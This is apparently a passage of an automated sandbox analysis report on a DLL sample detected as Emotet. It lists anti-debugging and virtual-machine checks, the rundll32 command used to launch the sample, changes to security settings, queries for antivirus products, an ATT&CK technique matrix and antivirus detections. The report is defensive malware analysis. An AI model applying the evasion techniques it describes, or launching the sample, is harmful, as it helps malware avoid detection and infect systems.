Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\svchost.exe TID: 6224	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6288	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDD0927 FindFirstFileExW,		0_2_6EDD0927
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDD0927 FindFirstFileExW,		2_2_6EDD0927

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: Amcache.hve.22.dr	Binary or memory string: VMware
Source: Amcache.hve.22.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: svchost.exe, 00000005.00000002.631051852.000001B12B061000.00000004.00000001.sdmp	Binary or memory string: "@Hyper-V RAW
Source: Amcache.hve.22.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.22.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: Amcache.hve.22.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.22.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.22.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.22.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: svchost.exe, 00000005.00000002.631039231.000001B12B054000.00000004.00000001.sdmp, svchost.exe, 00000005.00000002.630734667.000001B125A29000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.594100601.000000000492B000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.594133771.000000000492E000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.594163429.0000000004934000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000002.596176213.0000000004935000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.22.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.22.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: WerFault.exe, 00000018.00000002.596113457.0000000004900000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW(
Source: Amcache.hve.22.dr	Binary or memory string: VMware, Inc.me
Source: Amcache.hve.22.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.22.dr	Binary or memory string: VMware-42 35 bb 32 33 75 d2 27-52 00 3c e2 4b d4 32 71
Source: svchost.exe, 00000007.00000002.774381529.00000281D2C41000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.774370076.0000029555629000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.22.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDCAB0C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6EDCAB0C

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDBE690 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

0_2_6EDBE690

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDB1290 GetProcessHeap,HeapAlloc,RtlAllocateHeap,HeapFree,

0_2_6EDB1290

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FB07D2 mov eax, dword ptr fs:[00000030h]	0_2_00FB07D2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDC9990 mov eax, dword ptr fs:[00000030h]	0_2_6EDC9990
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDCEC0B mov ecx, dword ptr fs:[00000030h]	0_2_6EDCEC0B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDD02CC mov eax, dword ptr fs:[00000030h]	0_2_6EDD02CC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDC9920 mov esi, dword ptr fs:[00000030h]	0_2_6EDC9920
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDC9920 mov eax, dword ptr fs:[00000030h]	0_2_6EDC9920
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC9990 mov eax, dword ptr fs:[00000030h]	2_2_6EDC9990
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDCEC0B mov ecx, dword ptr fs:[00000030h]	2_2_6EDCEC0B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDD02CC mov eax, dword ptr fs:[00000030h]	2_2_6EDD02CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC9920 mov esi, dword ptr fs:[00000030h]	2_2_6EDC9920
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC9920 mov eax, dword ptr fs:[00000030h]	2_2_6EDC9920
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028507D2 mov eax, dword ptr fs:[00000030h]	4_2_028507D2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED07D2 mov eax, dword ptr fs:[00000030h]	16_2_02ED07D2

Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00FA2ADB LdrInitializeThunk,

0_2_00FA2ADB

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDCA462 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6EDCA462
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDCAB0C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6EDCAB0C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDD0326 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6EDD0326
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDCA462 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6EDCA462
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDCAB0C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6EDCAB0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDD0326 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6EDD0326

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",#1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5444 -ip 5444	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 320	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 168 -p 5444 -ip 5444	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 340	Jump to behavior

Source: loaddll32.exe, 00000000.00000000.563156446.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.561900218.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.540227987.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.542781571.0000000001A40000.00000002.00020000.sdmp, rundll32.exe, 0000001E.00000002.776456437.0000000002DC0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000000.563156446.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.561900218.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.540227987.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.542781571.0000000001A40000.00000002.00020000.sdmp, rundll32.exe, 0000001E.00000002.776456437.0000000002DC0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000000.563156446.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.561900218.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.540227987.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.542781571.0000000001A40000.00000002.00020000.sdmp, rundll32.exe, 0000001E.00000002.776456437.0000000002DC0000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: loaddll32.exe, 00000000.00000000.563156446.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.561900218.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.540227987.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.542781571.0000000001A40000.00000002.00020000.sdmp, rundll32.exe, 0000001E.00000002.776456437.0000000002DC0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: loaddll32.exe, 00000000.00000000.563156446.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.561900218.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.540227987.0000000001A40000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.542781571.0000000001A40000.00000002.00020000.sdmp, rundll32.exe, 0000001E.00000002.776456437.0000000002DC0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDCA584 cpuid

0_2_6EDCA584

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDCA755 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6EDCA755

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: Amcache.hve.22.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.22.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: svchost.exe, 0000000E.00000002.774753733.000002E08A640000.00000004.00000001.sdmp	Binary or memory string: &@\REGISTRY\USER\S-1-5-19ws Defender\MsMpeng.exe
Source: svchost.exe, 0000000E.00000002.774572684.000002E08A629000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.775088869.000002E08A702000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2da0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.rundll32.exe.26a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2840000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2840000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.2ec0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.rundll32.exe.26a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.fa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.27521e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.27521e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.29121e8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2a00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1383618.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.29121e8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2933508.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.fa0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1383618.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.2da24b8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2933508.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2a00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.2ec0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.fa0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2da0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1383618.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.2da24b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.539981294.0000000000FA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.562664559.0000000000FA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.507700136.0000000002EFC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.540057881.000000000137C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.540904925.00000000028FA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.534967742.000000000273A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.561743739.000000000137C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.538242653.000000000291A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.537633031.0000000002660000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.534990244.0000000002840000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.542442475.000000000137C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.563041724.000000000137C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.651948468.0000000002D8A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.651976449.0000000002EC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.541263948.0000000002A00000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.775119059.00000000026A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.596937604.000000000137C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.561459077.0000000000FA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.542217719.0000000000FA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.521244679.0000000002DA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	Process Injection12	Masquerading2	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	DLL Side-Loading1	Disable or Modify Tools1	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion3	Security Account Manager	Security Software Discovery61	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection12	NTDS	Virtualization/Sandbox Evasion3	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Process Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Hidden Files and Directories1	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information2	DCSync	File and Directory Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Rundll321	Proc Filesystem	System Information Discovery33	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	DLL Side-Loading1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	File Deletion1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Zd9TtpY4Kh.dll	18%	ReversingLabs	Win32.Infostealer.Convagent

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.loaddll32.exe.fa0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
4.2.rundll32.exe.2840000.1.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
2.2.rundll32.exe.2da0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
16.2.rundll32.exe.2ec0000.1.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.2.loaddll32.exe.fa0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
30.2.rundll32.exe.26a0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.fa0000.9.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
6.2.rundll32.exe.2a00000.1.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.fa0000.3.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.fa0000.6.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
3.2.rundll32.exe.2660000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.ver)	0%	Avira URL Cloud	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com/	0%	Avira URL Cloud	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen19	svchost.exe, 0000000C.00000003.417255421.0000021775446000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417221541.0000021775442000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417236188.0000021775443000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000C.00000002.451895729.0000021775441000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417263243.0000021775440000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 0000000C.00000002.454924916.0000021775456000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 0000000C.00000003.417175938.0000021775469000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000002.458598242.000002177546B000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	false		high
http://crl.ver)	svchost.exe, 00000005.00000002.631051852.000001B12B061000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000C.00000002.455648502.000002177545B000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417221541.0000021775442000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417211454.000002177545A000.00000004.00000001.sdmp	false		high
http://upx.sf.net	Amcache.hve.22.dr	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp	false		high
